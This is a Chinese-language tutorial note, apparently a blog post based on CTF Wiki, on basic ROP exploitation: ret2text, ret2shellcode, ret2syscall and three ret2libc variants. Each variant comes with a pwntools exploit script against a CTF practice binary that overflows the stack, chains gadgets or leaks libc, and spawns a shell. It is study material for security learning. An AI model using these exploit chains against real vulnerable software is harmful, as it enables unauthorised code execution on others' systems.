基本ROP 参考地址:基本 ROP - CTF Wiki
ret2text 通过覆盖返回地址跳转到程序已有的某个代码地址(可以是各种危险函数或者gadgets
)
GDB动态调试,可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c
,因此,我们可以推断
s 的地址为 0xffffcd5c
s 相对于 ebp 的偏移为 0x6c
s 相对于返回地址的偏移为 0x6c+4
payload:
1 2 3 4 5 6 7 from pwn import *sh = process('./ret2text' ) target = 0x804863a sh.sendline('A' * (0x6c +4 ) + p32(target)) sh.interactive()
ret2shellcode 覆盖返回地址,跳转到我们写入的shellcode地址(shellcode所在区域必须有可执行权限)
进入gdb,使用vmmap
命令查看可以写入shellcode的地址是否有可执行权限
先利用程序的strncpy
函数复制构造的shellcode到程序指定的变量处
覆盖返回地址跳转到变量地址(shellcode地址)
payload:
1 2 3 4 5 6 7 8 9 from pwn import *sh = process('./ret2shellcode' ) shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112 , 'A' ) + p32(buf2_addr)) sh.interactive()
ret2syscall 控制程序执行系统调用,获取 shell
程序中没有可以利用的代码或者自己写入shellcode,所以我们可以利用程序中已有的gadgets构造一个链,使用它们一步步从栈中pop出参数到寄存器,再执行int 0x80
的系统调用(execve
系统调用),就可以使用syscall获取shell。
本节需要用到ROPgadget工具(类似的还有ROPgenerator,更强大)
命令:
1 2 3 4 5 6 7 8 ROPgadget --binary 程序名 --only 'pop|ret' | grep 'eax' ROPgadget --binary 程序名 --only 'pop|ret' | grep 'ebx' ROPgadget --binary 程序名 --string '/bin/sh' ROPgadget --binary 程序名 --only 'int'
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *sh = process('./rop' ) pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112 , pop_eax_ret, 0xb , pop_edx_ecx_ebx_ret, 0 , 0 , binsh, int_0x80]) sh.sendline(payload) sh.interactive()
ret2libc1 ret2libc 即控制函数的执行 libc
中的函数,通常是返回至某个函数的plt
处或者函数的具体位置 (即函数对应的got
表项的内容)。一般情况下,我们会选择执行 system("/bin/sh")
,故而此时我们需要知道 system 函数的地址。
查看是否有 /bin/sh 存在
1 2 3 4 5 6 7 8 9 10 ROPgadget --binary ret2libc1 --string '/bin/sh' .plt:08048460 ; int system(const char *command ) .plt:08048460 _system proc near ; CODE XREF: secure+44↓p .plt:08048460 .plt:08048460 command = dword ptr 4 .plt:08048460 .plt:08048460 jmp ds:off_804A018 .plt:08048460 _system endp
payload:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *sh = process('./ret2libc1' ) binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112 , system_plt, 'b' * 4 , binsh_addr]) sh.sendline(payload) sh.interactive()
ret2libc2 不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *sh = process('./ret2libc2' ) gets_plt = 0x08048460 system_plt = 0x08048490 pop_ebx = 0x0804843d buf2 = 0x804a080 payload = flat( ['a' * 112 , gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef , buf2]) sh.sendline(payload) sh.sendline('/bin/sh' ) sh.interactive()
ret2libc3 既没有函数参数字符串(/bin/sh
)也没有高危libc函数地址(system
)
泄露 __libc_start_main 地址
获取 libc 版本
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)
libc之间函数偏移是固定的, 因此可以通过某个已知的libc函数偏移, 来获取任意其他libc函数地址.
libc有延迟绑定机制, 只有执行过的函数它的GOT才是正确的.
libc内自带有/bin/sh
字符串.
可以利用__libc_start_main
地址来泄露偏移.
利用思路就是 => 构造ROP链通过puts
泄露__libc_start_main
的got地址 => 使用LibcSearcher
获取libc的基址从而获取system
地址和/bin/sh
地址 => 重载程序 => 构造payload控制.
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from LibcSearcher import LibcSearchersh = process('./ret2libc3' ) ret2libc3 = ELF('./ret2libc3' ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.symbols['main' ] print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112 , puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?' , payload) print "get the related addr" libc_start_main_addr = u32(sh.recv()[0 :4 ]) libc = LibcSearcher('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) print "get shell" payload = flat(['A' * 104 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive()